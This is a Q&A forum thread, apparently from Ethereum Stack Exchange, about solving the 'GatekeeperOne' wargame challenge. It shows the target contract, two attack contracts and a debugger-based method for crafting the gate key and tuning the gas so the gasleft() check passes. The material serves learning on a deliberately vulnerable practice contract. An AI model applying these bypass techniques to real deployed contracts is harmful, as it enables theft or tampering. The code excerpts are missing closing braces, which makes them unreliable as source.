I'm trying to call function hack. I set gas limit to 3000K but when call function 'hack' there is the error. Why does eth gas runs out of (63178) by such a simple function? and dramatically, when I change the gas in the interface from odd to even, it's normal(3000K)?

enter image description here

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);

  modifier gateTwo() {
    require(gasleft() % (8191) == 0);

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
    require(uint32(uint64(_gateKey)) != uint64(_gateKey));
    require(uint32(uint64(_gateKey)) == uint16(tx.origin));

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;

contract Hack {
    GatekeeperOne gatekeeperOne = GatekeeperOne(0xd9145CCE52D386f254917e481eB44e9943F39138);
    bool public res;
    bytes8 public key = 0x0000ffff0000ffff;
    bytes8 public gateKey = key & bytes8(uint64(tx.origin));

    function hack(uint _gas) public {
        // res = gatekeeperOne.enter{gas: 81910+251}(gateKey);

        (res, ) = address(gatekeeperOne).call{gas: _gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if(!res) {
          revert("gas abnormal");


2 Answers 2


I believe the transaction reverted with the message "abnormal gas" because the value of gas input was not correct, and hence res is false and the call to enter could not pass modifier gateTwo. The most efficient design in this case would be brute force the solution using a loop to find the amount of gas that can pass modifier gateTwo. In addition, the value of key should be 0xFFFFFFFF0000FFFF and value of gateKey should be bytes8(uint64(uint160(address(tx.origin)))) & key, assuming you're using pragma solidity ^0.8.0.


Seems like the VM is sending this gas value attribute along with the transaction, not sure what that means(gas limit is set to 3,000,000). debugging remix

Debug this: https://github.com/ethereum/remix-project/blob/93d95564777373e1bd003c8413202f69509545f0/libs/remix-ui/terminal/src/lib/remix-ui-terminal.tsx#L530

Also, seems like passing the gas value as an argument does not do any good with the VM, hence I will be using the Gas Limit to solve the problem.

I will be showing how to do an educated guess, instead of a brute force approach. Also, I will not use a simpler function to do it.

contract AttackGateKeeperOne {
     GatekeeperOne target;

     constructor(GatekeeperOne _target) {
         target = _target;

    function attack(bytes8 key) external payable {

First I am using an gas limit of 3,000,000 and I will be using the input value as 0x100000000000ddC4. First 6 bytes are for third gate's first two required checks. last two bytes are for the final required statement. My public key is 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, hence I am using the last 2 bytes of it as the last two bytes of my input.

I will execute my attack function setting the gas value as 3,000,000 as the start. when it fails use the debugger and check what the gasleft value is. For that what you need to do is to check the stack value right after the opcode GAS is executed. debug view 1

 0x2ca75f % 8191 = 2244

assuming 3,000,000 - 2244 will reduce the gas by 2244 we will set the next gas limit as 2997756 and repeat the process.

debug view 2

0x2c9ebf % 8191 = 36

assuming 3,000,000 - 2244 - 36 will reduce the gas by 2244 + 36 we will set the next gas limit as 2997720 and repeat the process.

debug view 3

third iteration is a success.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.